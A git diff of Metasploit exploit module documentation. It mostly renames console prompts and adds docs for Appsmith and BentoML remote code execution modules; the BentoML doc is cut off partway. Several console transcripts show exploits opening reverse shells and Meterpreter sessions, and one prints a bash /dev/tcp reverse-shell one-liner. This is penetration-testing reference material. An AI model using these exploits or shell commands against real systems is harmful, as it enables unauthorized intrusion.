appears to be vulnerable. Version 4.7.1-53 -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -168,9 +168,9 @@ Server username: root ``` ### Acronis Cyber Infrastructure 4.7 appliance Interactive SSH ```msf -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set target 1 +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set target 1 target => 1 -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 4.7.1-53 @@ -193,7 +193,7 @@ Linux aci-471-53.vstoragedomain 3.10.0-1160.41.1.vz7.183.5 #1 SMP Thu Sep 23 18: ``` ### Acronis Cyber Infrastructure 4.7 appliance Interactive SSH using your own SSH private key file in PEM format ```msf -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > ssh-keygen -t rsa -b 2048 -m PEM -f /tmp/aci_rsa +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > ssh-keygen -t rsa -b 2048 -m PEM -f /tmp/aci_rsa [*] exec: ssh-keygen -t rsa -b 2048 -m PEM -f /tmp/aci_rsa Generating public/private rsa key pair. @@ -215,13 +215,13 @@ The key's randomart image is: | . . | | . | +----[SHA256]-----+ -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set target 1 +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set target 1 target => 1 -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set PRIV_KEY_FILE /tmp/aci_rsa +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set PRIV_KEY_FILE /tmp/aci_rsa PRIV_KEY_FILE => /tmp/aci_rsa -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5 +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5 rhosts => 192.168.201.5 -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 4.7.1-53 diff --git a/documentation/modules/exploit/linux/http/apache_airflow_dag_rce.md b/documentation/modules/exploit/linux/http/apache_airflow_dag_rce.md index af83720d4b2a8..d88e2db8859cd 100644 --- a/documentation/modules/exploit/linux/http/apache_airflow_dag_rce.md +++ b/documentation/modules/exploit/linux/http/apache_airflow_dag_rce.md @@ -105,13 +105,13 @@ executed. Defaults to 120 seconds. * Using default TARGET 0 - Unix Command ```msf -msf6 > use exploit/linux/http/apache_airflow_dag_rce +msf > use exploit/linux/http/apache_airflow_dag_rce [*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp -msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.245.139 +msf exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.245.139 RHOSTS => 192.168.245.139 -msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 +msf exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit +msf exploit(linux/http/apache_airflow_dag_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -140,13 +140,13 @@ meterpreter > * Using default TARGET 0 - Unix Command ```msf -msf6 > use exploit/linux/http/apache_airflow_dag_rce +msf > use exploit/linux/http/apache_airflow_dag_rce [*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp -msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 127.0.0.1 +msf exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 +msf exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit +msf exploit(linux/http/apache_airflow_dag_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -177,13 +177,13 @@ meterpreter > * Sometimes, the first Meterpreter session fails, but the second one opens successfully. ```msf -msf6 > use exploit/linux/http/apache_airflow_dag_rce +msf > use exploit/linux/http/apache_airflow_dag_rce [*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp -msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.50.180 +msf exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.50.180 RHOSTS => 192.168.50.180 -msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 +msf exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit +msf exploit(linux/http/apache_airflow_dag_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/apache_couchdb_cmd_exec.md b/documentation/modules/exploit/linux/http/apache_couchdb_cmd_exec.md index a1cfff7a63ec9..880412a51c139 100644 --- a/documentation/modules/exploit/linux/http/apache_couchdb_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/apache_couchdb_cmd_exec.md @@ -52,8 +52,8 @@ Sometimes it requires authentication, set these options to authorize. ### Apache CouchDB on Linux ``` -msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options +msf > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +msf exploit(linux/http/apache_couchdb_cmd_exec) > show options Module options (exploit/linux/http/apache_couchdb_cmd_exec): @@ -87,25 +87,25 @@ Exploit target: 0 Automatic -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139 +msf exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139 rhost => 192.168.77.139 -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > check +msf exploit(linux/http/apache_couchdb_cmd_exec) > check [*] 192.168.77.139:5984 The target appears to be vulnerable. -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139 +msf exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139 srvhost => 192.168.77.139 -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888 +msf exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888 srvport => 8888 -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139 +msf exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139 lhost => 192.168.77.139 -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit +msf exploit(linux/http/apache_couchdb_cmd_exec) > exploit [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.77.139:4444 -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2 +msf exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2 [*] 192.168.77.139:5984 - The 1 time to exploit [*] 192.168.77.139:5984 - Sending the payload to the server... [*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400 [*] Server stopped. -msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1 +msf exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1 [*] Starting interaction with 1... id uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb) diff --git a/documentation/modules/exploit/linux/http/apache_druid_js_rce.md b/documentation/modules/exploit/linux/http/apache_druid_js_rce.md index 219a2f77c8965..ef1fd8c201010 100644 --- a/documentation/modules/exploit/linux/http/apache_druid_js_rce.md +++ b/documentation/modules/exploit/linux/http/apache_druid_js_rce.md @@ -80,7 +80,7 @@ The base path to the Apache Druid application. This is set to `/` by default. ### Apache Druid 0.20.0-iap4.1 on Ubuntu 18.04 (Linux 4.19.112+) ``` -msf6 exploit(linux/http/apache_druid_js_rce) > options +msf exploit(linux/http/apache_druid_js_rce) > options Module options (exploit/linux/http/apache_druid_js_rce): @@ -113,12 +113,12 @@ Exploit target: 0 Linux (dropper) -msf6 exploit(linux/http/apache_druid_js_rce) > check +msf exploit(linux/http/apache_druid_js_rce) > check [*] Attempting to execute 'echo XjUoa3Mw8z0UBQKnZ' on the target. [*] cmd= /bin/sh`@~-c`@~echo XjUoa3Mw8z0UBQKnZ var=RUmlsVEYh name=rZXrMaTO [+] 10.100.70.2:8888 - The target is vulnerable. -msf6 exploit(linux/http/apache_druid_js_rce) > exploit +msf exploit(linux/http/apache_druid_js_rce) > exploit [*] Started reverse TCP handler on 10.100.70.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/apache_hugegraph_gremlin_rce.md b/documentation/modules/exploit/linux/http/apache_hugegraph_gremlin_rce.md index e3ab5598f60f0..ff0e1b44efa18 100644 --- a/documentation/modules/exploit/linux/http/apache_hugegraph_gremlin_rce.md +++ b/documentation/modules/exploit/linux/http/apache_hugegraph_gremlin_rce.md @@ -21,11 +21,11 @@ docker run -itd --name=graph -p 8080:8080 hugegraph/hugegraph:1.0.0 ### Apache HugeGraph 1.0.0 docker instance ``` -msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1 +msf exploit(linux/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set lhost 172.16.199.1 +msf exploit(linux/http/apache_hugegraph_gremlin_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > run +msf exploit(linux/http/apache_hugegraph_gremlin_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/apache_nifi_h2_rce.md b/documentation/modules/exploit/linux/http/apache_nifi_h2_rce.md index 2dfad96dbb4fe..fae3b534a0fb5 100644 --- a/documentation/modules/exploit/linux/http/apache_nifi_h2_rce.md +++ b/documentation/modules/exploit/linux/http/apache_nifi_h2_rce.md @@ -49,19 +49,19 @@ The delay time before stopping and deleting the processor and DB connection pool ### Nifi 1.20.0 on Docker ``` -msf6 > use exploit/linux/http/apache_nifi_h2_rce +msf > use exploit/linux/http/apache_nifi_h2_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/apache_nifi_h2_rce) > set rhosts 127.0.0.1 +msf exploit(linux/http/apache_nifi_h2_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/apache_nifi_h2_rce) > set lhost 1.1.1.1 +msf exploit(linux/http/apache_nifi_h2_rce) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(linux/http/apache_nifi_h2_rce) > set username 4b6caac4-e1c6-431d-8e63-f014a6541362 +msf exploit(linux/http/apache_nifi_h2_rce) > set username 4b6caac4-e1c6-431d-8e63-f014a6541362 username => 4b6caac4-e1c6-431d-8e63-f014a6541362 -msf6 exploit(linux/http/apache_nifi_h2_rce) > set password E3ke7kCROjBabztg0acFemg5xk2QiQs1 +msf exploit(linux/http/apache_nifi_h2_rce) > set password E3ke7kCROjBabztg0acFemg5xk2QiQs1 password => E3ke7kCROjBabztg0acFemg5xk2QiQs1 -msf6 exploit(linux/http/apache_nifi_h2_rce) > set verbose true +msf exploit(linux/http/apache_nifi_h2_rce) > set verbose true verbose => true -msf6 exploit(linux/http/apache_nifi_h2_rce) > exploit +msf exploit(linux/http/apache_nifi_h2_rce) > exploit [+] bash -c '0<&126-;exec 126<>/dev/tcp/1.1.1.1/4444;sh <&126 >&126 2>&126' [*] Started reverse TCP handler on 1.1.1.1:4444 diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md index 33dd7170e0543..361dd2af70b17 100644 --- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md +++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md @@ -45,9 +45,9 @@ This uses a Linux dropper to execute code. ### Apache OFBiz from [Docker](#setup) 15.12. ``` -msf6 > use exploit/linux/http/apache_ofbiz_deserialization +msf > use exploit/linux/http/apache_ofbiz_deserialization [*] Using configured payload linux/x64/meterpreter_reverse_https -msf6 exploit(linux/http/apache_ofbiz_deserialization) > options +msf exploit(linux/http/apache_ofbiz_deserialization) > options Module options (exploit/linux/http/apache_ofbiz_deserialization): @@ -79,13 +79,13 @@ Exploit target: 1 Linux Dropper -msf6 exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1 +msf exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/apache_ofbiz_deserialization) > set lhost 192.168.1.7 +msf exploit(linux/http/apache_ofbiz_deserialization) > set lhost 192.168.1.7 lhost => 192.168.1.7 -msf6 exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8888 +msf exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8888 srvport => 8888 -msf6 exploit(linux/http/apache_ofbiz_deserialization) > run +msf exploit(linux/http/apache_ofbiz_deserialization) > run [*] Started HTTPS reverse handler on https://192.168.1.7:8443 [*] Executing automatic check (disable AutoCheck to override) @@ -160,4 +160,4 @@ Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux (Meterpreter 1)(/usr/src/apache-ofbiz) > -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization_soap.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization_soap.md index 8486074d1c110..da5b1ff7c6083 100644 --- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization_soap.md +++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization_soap.md @@ -32,9 +32,9 @@ This uses a Linux dropper to execute code. ### Apache OFBiz from [Docker](#setup). ``` -msf6 > use exploit/linux/http/apache_ofbiz_deserialization_soap +msf > use exploit/linux/http/apache_ofbiz_deserialization_soap [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/apache_ofbiz_deserialization_soap) > options +msf exploit(linux/http/apache_ofbiz_deserialization_soap) > options Module options (exploit/linux/http/apache_ofbiz_deserialization_soap): @@ -67,7 +67,7 @@ Exploit target: 1 Linux Dropper -msf6 exploit(linux/http/apache_ofbiz_deserialization_soap) > exploit +msf exploit(linux/http/apache_ofbiz_deserialization_soap) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/apache_spark_rce_cve_2022_33891.md b/documentation/modules/exploit/linux/http/apache_spark_rce_cve_2022_33891.md index 61c31165cf13f..27801688d84e5 100644 --- a/documentation/modules/exploit/linux/http/apache_spark_rce_cve_2022_33891.md +++ b/documentation/modules/exploit/linux/http/apache_spark_rce_cve_2022_33891.md @@ -67,13 +67,13 @@ No specific options to be set. ### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit with spark.acls.enable set to true ``` -msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891 +msf > use exploit/linux/http/apache_spark_rce_cve_2022_33891 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7 +msf exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43 +msf exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43 rhosts => 192.168.100.43 -msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options +msf exploit(linux/http/apache_spark_rce_cve_2022_33891) > options Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891): @@ -102,7 +102,7 @@ Exploit target: 0 Unix (In-Memory) -msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > exploit +msf exploit(linux/http/apache_spark_rce_cve_2022_33891) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -131,13 +131,13 @@ Note: This version is vulnerable, however the `spark.acls.enable` option is not Response on POST payload request will be 200 instead of 403. ``` -msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891 +msf > use exploit/linux/http/apache_spark_rce_cve_2022_33891 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7 +msf exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43 +msf exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43 rhosts => 192.168.100.43 -msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options +msf exploit(linux/http/apache_spark_rce_cve_2022_33891) > options Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891): @@ -166,14 +166,14 @@ Exploit target: 0 Unix (In-Memory) -msf6 exploit(inux/http/apache_spark_rce_cve_2022_33891) > exploit +msf exploit(inux/http/apache_spark_rce_cve_2022_33891) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.100.43:8080 can be exploited! [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The 192.168.100.43:8080 did not respond a 403 response. "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > +msf exploit(linux/http/apache_spark_rce_cve_2022_33891) > ``` ## Limitations diff --git a/documentation/modules/exploit/linux/http/appsmith_rce_cve_2024_55964.md b/documentation/modules/exploit/linux/http/appsmith_rce_cve_2024_55964.md new file mode 100644 index 0000000000000..dc64fd5fb745d --- /dev/null +++ b/documentation/modules/exploit/linux/http/appsmith_rce_cve_2024_55964.md @@ -0,0 +1,105 @@ +## Vulnerable Application + +An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container. + +The vulnerability affects: + + * v1.20 <= Appsmith <= v1.51 + +This module was successfully tested on: + + * Appsmith v1.50 installed with Docker + + +### Installation + +1. Create a docker-compose.yml file with: +``` +version: "3" +services: + appsmith: + image: index.docker.io/appsmith/appsmith-ce:v1.50 + container_name: appsmith + ports: + - "80:80" + - "443:443" + volumes: + - ./stacks:/appsmith-stacks + restart: unless-stopped +``` + +2. `docker-compose up` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/appsmith_rce_cve_2024_55964` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf > use exploit/linux/http/appsmith_rce_cve_2024_55964 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(linux/http/appsmith_rce_cve_2024_55964) > options + +Module options (exploit/linux/http/appsmith_rce_cve_2024_55964): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME XIYHCHbc no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/appsmith_rce_cve_2024_55964) > run lhost=172.18.0.1 rhost=172.18.0.2 rport=80 +[*] Started reverse TCP handler on 172.18.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.50 detected. +[*] Successfully signed up. +[*] Successfully saved DB configuration. +[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:56752) at 2025-04-05 14:41:08 +0900 + +meterpreter > getuid +Server username: postgres +meterpreter > sysinfo +Computer : 172.18.0.2 +OS : Ubuntu 20.04 (Linux 6.6.15-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.md b/documentation/modules/exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.md index 105e2c414a7f2..3f5839986db46 100644 --- a/documentation/modules/exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.md +++ b/documentation/modules/exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.md @@ -33,7 +33,7 @@ If not set, the module will attempt to bypass authentication using the authentic #### Using a dropper / getting a native meterpreter shell (TARGET being Linux Dropper) ``` -msf5 exploit(linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection) > exploit +msf exploit(linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection) > exploit [*] Started reverse TCP handler on 192.168.1.222:4444 [*] Attempting to bypass authentication via CVE-2020-17506 (SQL injection) @@ -63,8 +63,8 @@ uid=0(root) gid=0(root) groups=0(root) #### Cmd payload : `cmd/unix/reverse_perl` ``` -msf5 exploit(linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection) > -msf5 exploit(linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection) > exploit +msf exploit(linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection) > +msf exploit(linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection) > exploit [*] Started reverse TCP handler on 192.168.1.222:4444 [*] Attempting to bypass authentication via CVE-2020-17506 (SQL injection) diff --git a/documentation/modules/exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054.md b/documentation/modules/exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054.md index 8dc78ef2a668c..39180dc10f8f4 100644 --- a/documentation/modules/exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054.md +++ b/documentation/modules/exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054.md @@ -47,7 +47,7 @@ For the native PHP target, by default the `eval()` function will be used for nat ## Scenarios ```msf -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info Name: Artica Proxy Unauthenticated PHP Deserialization Vulnerability Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054 @@ -132,15 +132,15 @@ View the full module info with the info -d command. ### Target 0 - PHP native `php/meterpreter/reverse_tcp` session ```msf -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo webshell => cuckoo -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0 +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0 target => 0 -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4 +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4 rhosts => 192.168.201.4 -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8 +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -161,9 +161,9 @@ meterpreter > ``` ### Target 1 - Unix Command `cmd/unix/reverse_bash` session ```msf -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 1 +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 1 target => 1 -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -180,9 +180,9 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session ```msf -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 2 +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 2 target => 2 -msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit +msf exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/axis_app_install.md b/documentation/modules/exploit/linux/http/axis_app_install.md index 20e3f5eb8bb71..0ea49299d1626 100644 --- a/documentation/modules/exploit/linux/http/axis_app_install.md +++ b/documentation/modules/exploit/linux/http/axis_app_install.md @@ -54,9 +54,9 @@ The password to authenticate to the web server with. The default value is "root" ### Axis M3044-V using firmware 9.80.3.8. Get Meterpreter session. ``` -msf6 > use exploit/linux/http/axis_app_install +msf > use exploit/linux/http/axis_app_install [*] Using configured payload linux/armle/meterpreter_reverse_tcp -msf6 exploit(linux/http/axis_app_install) > options +msf exploit(linux/http/axis_app_install) > options Module options (exploit/linux/http/axis_app_install): @@ -91,17 +91,17 @@ Exploit target: 0 Linux Dropper -msf6 exploit(linux/http/axis_app_install) > set RHOST 192.168.1.183 +msf exploit(linux/http/axis_app_install) > set RHOST 192.168.1.183 RHOST => 192.168.1.183 -msf6 exploit(linux/http/axis_app_install) > check +msf exploit(linux/http/axis_app_install) > check [*] 192.168.1.183:80 - The target is not exploitable. The user provided credentials did not work. -msf6 exploit(linux/http/axis_app_install) > set PASSWORD labpass1 +msf exploit(linux/http/axis_app_install) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(linux/http/axis_app_install) > check +msf exploit(linux/http/axis_app_install) > check [*] 192.168.1.183:80 - The target appears to be vulnerable. The target reports itself to be a 'AXIS M3044-V'. -msf6 exploit(linux/http/axis_app_install) > set LHOST 192.168.1.217 +msf exploit(linux/http/axis_app_install) > set LHOST 192.168.1.217 LHOST => 192.168.1.217 -msf6 exploit(linux/http/axis_app_install) > run +msf exploit(linux/http/axis_app_install) > run [*] Started reverse TCP handler on 192.168.1.217:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/bentoml_rce_cve_2025_27520.md b/documentation/modules/exploit/linux/http/bentoml_rce_cve_2025_27520.md new file mode 100644 index 0000000000000..fb42909b43898 --- /dev/null +++ b/documentation/modules/exploit/linux/http/bentoml_rce_cve_2025_27520.md @@ -0,0 +1,131 @@ +## Vulnerable Application + +A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the v1.4.2 of BentoML. +It allows any unauthenticated user to execute arbitrary code on the server. + +The vulnerability affects: + + * 1.3.4 <= BentoML < 1.4.3 + +This module was successfully tested on: + + * BentoML 1.4.2 installed on Ubuntu 24.04 + + +### Installation + +1. `pip install -U bentoml==1.4.2` + +2. Define APIs in a service.py file: + +```python3 +import bentoml + + +@bentoml.service(resources={"cpu": "2"}) +class Summarization: + @bentoml.api(batchable=True) + def summarize(self, texts): + return texts +``` + +3. `bentoml serve --host 0.0.0.0` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/bentoml_rce_cve_2025_27520` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + +### ENDPOINT (optional) +Endpoint to use. + + +## Scenarios + +### Python payload +``` +msf > use exploit/linux/http/bentoml_rce_cve_2025_27520 +[*] Using configured payload python/meterpreter/reverse_tcp +msf exploit(linux/http/bentoml_rce_cve_2025_27520) > options + +Module options (exploit/linux/http/bentoml_rce_cve_2025_27520): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ENDPOINT no Endpoint to use + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 3000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (python/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- 